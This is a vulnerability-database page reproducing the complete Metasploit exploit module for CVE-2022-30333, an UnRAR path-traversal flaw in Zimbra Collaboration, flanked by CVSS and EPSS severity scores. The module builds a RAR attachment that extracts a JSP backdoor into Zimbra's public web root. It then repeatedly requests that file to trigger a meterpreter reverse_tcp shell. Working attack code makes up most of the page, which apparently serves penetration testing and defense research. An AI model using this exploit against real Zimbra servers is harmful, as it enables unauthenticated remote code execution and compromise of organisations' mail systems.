Lucene search

K
metasploitSimon Scannell, Ron BowesMSF:EXPLOIT-LINUX-HTTP-ZIMBRA_UNRAR_CVE_2022_30333-
HistoryJul 27, 2022 - 7:45 p.m.

UnRAR Path Traversal in Zimbra (CVE-2022-30333)

2022-07-2719:45:47
Simon Scannell, Ron Bowes
www.rapid7.com
195

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

7.6 High

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

0.905 High

EPSS

Percentile

98.8%

This module creates a RAR file that can be emailed to a Zimbra server to exploit CVE-2022-30333. If successful, it plants a JSP-based backdoor in the public web directory, then executes that backdoor. The core vulnerability is a path-traversal issue in unRAR that can extract an arbitrary file to an arbitrary location on a Linux system. This issue is exploitable on the following versions of Zimbra, provided UnRAR version 6.11 or earlier is installed: * Zimbra Collaboration 9.0.0 Patch 24 (and earlier) * Zimbra Collaboration 8.8.15 Patch 31 (and earlier)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Format::RarSymlinkPathTraversal

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'UnRAR Path Traversal in Zimbra (CVE-2022-30333)',
        'Description' => %q{
          This module creates a RAR file that can be emailed to a Zimbra server
          to exploit CVE-2022-30333. If successful, it plants a JSP-based
          backdoor in the public web directory, then executes that backdoor.

          The core vulnerability is a path-traversal issue in unRAR that can
          extract an arbitrary file to an arbitrary location on a Linux system.

          This issue is exploitable on the following versions of Zimbra, provided
          UnRAR version 6.11 or earlier is installed:

          * Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
          * Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
        },
        'Author' => [
          'Simon Scannell', # Discovery / initial disclosure (via Sonar)
          'Ron Bowes', # Analysis, PoC, and module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-30333'],
          ['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],
          ['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],
          ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25'],
          ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32'],
          ['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],
        ],
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [
          [ 'Zimbra Collaboration Suite', {} ]
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
          'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/',
          'TARGET_FILENAME' => nil,
          'DisablePayloadHandler' => false,
          'RPORT' => 443,
          'SSL' => true
        },
        'Stance' => Msf::Exploit::Stance::Passive,
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2022-06-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),

        # Separating the path, filename, and extension allows us to randomize the filename
        OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),
        OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),
      ]
    )

    register_advanced_options(
      [
        OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),
        OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),

        # Took this from multi/handler
        OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),
        OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])
      ]
    )
  end

  # Generate an on-system filename using datastore options
  def generate_target_filename
    if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
      print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
    end

    File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")
  end

  # Normalize the path traversal and figure out where it is relative to the web root
  def zimbra_get_public_path(target_filename)
    # Normalize the path
    normalized_path = Pathname.new(File.join('/opt/zimbra/data/amavisd/tmp', target_filename)).cleanpath

    # Figure out where it is, relative to the webroot
    webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/zimbra/')
    relative_path = normalized_path.relative_path_from(webroot)

    # Hopefully, we found a path from the webroot to the payload!
    if relative_path.to_s.start_with?('../')
      return nil
    end

    relative_path
  end

  def exploit
    print_status('Encoding the payload as a .jsp file')
    payload = Msf::Util::EXE.to_jsp(generate_payload_exe)

    # Create a file
    target_filename = generate_target_filename
    print_status("Target filename: #{target_filename}")

    # Sanity check - the file shouldn't exist, but we should be able to do requests to the server
    if datastore['TRIGGER_PAYLOAD']
      # Get the public path for triggering the vulnerability, terminate if we
      # can't figure it out
      public_filename = zimbra_get_public_path(target_filename)
      if public_filename.nil?
        fail_with(Failure::Unknown, 'Could not determine the public web path')
      end

      print_status('Checking the HTTP connection to the target')
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(public_filename)
      )

      unless res
        fail_with(Failure::Unknown, 'Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)')
      end

      # Break when the file successfully appears
      unless res.code == 404
        fail_with(Failure::Unknown, "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/#{res.code}")
      end
    end

    begin
      rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload)
    rescue StandardError => e
      fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")
    end

    file_create(rar)

    print_good('File created! Email the file above to any user on the target Zimbra server')

    # Bail if they don't want the payload triggered
    return unless datastore['TRIGGER_PAYLOAD']

    register_file_for_cleanup(target_filename)

    interval = datastore['CheckInterval'].to_i
    print_status("Trying to trigger the backdoor @ #{public_filename} every #{interval}s [backgrounding]...")

    # This loop is mostly from `multi/handler`
    stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
    timeout = datastore['ListenerTimeout'].to_i

    # We flip this once we trigger the payload
    keep_sending = true
    loop do
      break if session_created?
      break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)

      # Once we've triggered the payload, stop trying to
      if keep_sending
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(public_filename)
        )

        unless res
          fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
        end

        # Break when the file successfully appears
        if res.code == 200
          print_good('Successfully triggered the payload')
          keep_sending = false
          next
        end
      end

      Rex::ThreadSafe.sleep(interval)
    end
  end
end

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

7.6 High

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

0.905 High

EPSS

Percentile

98.8%